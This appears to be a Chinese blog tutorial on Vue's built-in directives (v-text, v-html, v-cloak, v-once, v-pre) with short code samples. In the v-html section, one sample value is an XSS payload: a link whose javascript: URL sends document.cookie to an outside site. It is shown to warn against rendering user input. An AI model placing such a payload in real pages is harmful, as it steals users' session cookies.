当前位置: 首页 > news >正文

八、VUE内置指令

一、初识VUE
二、再识VUE-MVVM
三、VUE数据代理
四、VUE事件处理
五、VUE计算属性
六、Vue监视属性
七、VUE过滤器
七、VUE内置指令
九、VUE组件

v-text

  • 向其所在的节点中渲染文本内容。 (纯文本渲染)
  • 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<div id="root">{{ name }}<div v-text="name"></div><div v-text="str"></div>
</div>
<script type="text/javascript">Vue.config.productionTip = false;new Vue({el: '#root',data:{name:'上海',//注意v-text不会解析标签,而是直接将标签当纯文本解析str:'<h1>hello, shanghai</h1>'}})
</script>

在这里插入图片描述

v-html

  • 向指定节点中渲染包含html结构的内容。
  • v-html会替换掉节点中所有的内容,{{xx}}则不会。
  • v-html可以识别html结构。

v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

<div id="root"><div v-text="name"></div><div v-html="str"></div><div v-html="str2"></div>
</div>
<script type="text/javascript">Vue.config.productionTip = false;new Vue({el: "#root",data:{name:'上海',//注意v-html会解析标签,这点与v-text不一样str:'<h1>hello, shanghai</h1>',//危险行为 永远不要相信用户的输入str2:'<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>找到资源了兄弟</a>'}})
</script>

在这里插入图片描述

v-cloak

  • 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  • 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<div id="root" v-cloak>{{name}}
</div><script type="text/javascript">Vue.config.productionTip = false;new Vue({el: "#root",data: {name: '上海'}})
</script><style>[v-cloak] {display: none;}
</style>

v-once

  • v-once所在节点在初次动态渲染后,就视为静态内容了。
  • 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<div id="root"><h2 v-once>初始化n的值为:{{ n }}</h2><h2>当前的n值为:{{ n }}</h2><button @click="n++">带我n+1</button>
</div><script type="text/javascript">Vue.config.productionTip = false;new Vue({el: "#root",data: {n: 0}})
</script>

v-pre

  • 跳过其所在节点的编译过程。
  • 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
  • 元素内具有 v-pre,所有 Vue 模板语法都会被保留并按原样渲染
 <span v-pre>{{ this will not be compiled }}</span>
http://www.lryc.cn/news/349050.html

相关文章:

  • 学习笔记:IEEE 1003.13-2003【POSIX PSE53接口列表】
  • springboot logback 日志注入安全问题 统一处理
  • linux进阶高级配置,你需要知道的有哪些(13)-Squid代理服务器
  • SpringBoot自动装配(二)
  • 数据结构 顺序表1
  • C++基础-编程练习题1
  • 四十九坊股权设计,白酒新零售分红制度,新零售策划机构
  • 如何将公众号添加到CSDN个人主页
  • 64K方法数限制原理及解决方案
  • 产品品牌CRUD
  • 惠普发布全新AI战略,重塑办公空间 引领企业智能化新浪潮
  • python中的数据可视化:极坐标散点图
  • 5.12.1 Detecting and classifying lesions in mammograms with Deep Learning
  • Python爬虫——如何使用urllib的HTTP基本库
  • OceanBase v4.3特性解析:新功能“租户克隆”的场景与应用指南
  • RS3236-3.3YUTDN4功能和参数介绍及PDF资料
  • Vue如何引入公用方法
  • Java面试题:ConcurrentHashMap
  • 现在闪侠惠递寄快递有福利了,千万不要因没把握住而后悔呀!
  • vue+ant-design+formBuiler表单构建器——技能提升——form design——亲测有效
  • Git 如何管理标签命令(tag)
  • 零样本身份保持:ID-Animator引领个性化视频生成技术新前沿
  • 在Go语言中,可以这样使用Json
  • React useEffect Hook: 理解和解决组件双重渲染问题
  • 【C语言】—— 动态内存管理
  • Oracle到PostgreSQL的不停机数据库迁移
  • OpenAI 发布新款大型语言模型 GPT-4o,带大家了解最新ChatGPT动态。
  • 网络编程套接字(一) 【简单的Udp网络程序】
  • 【CANoe】CAPL中生成报告常用的测试函数
  • WEB后端复习——MVC、SSM【含登录页面代码】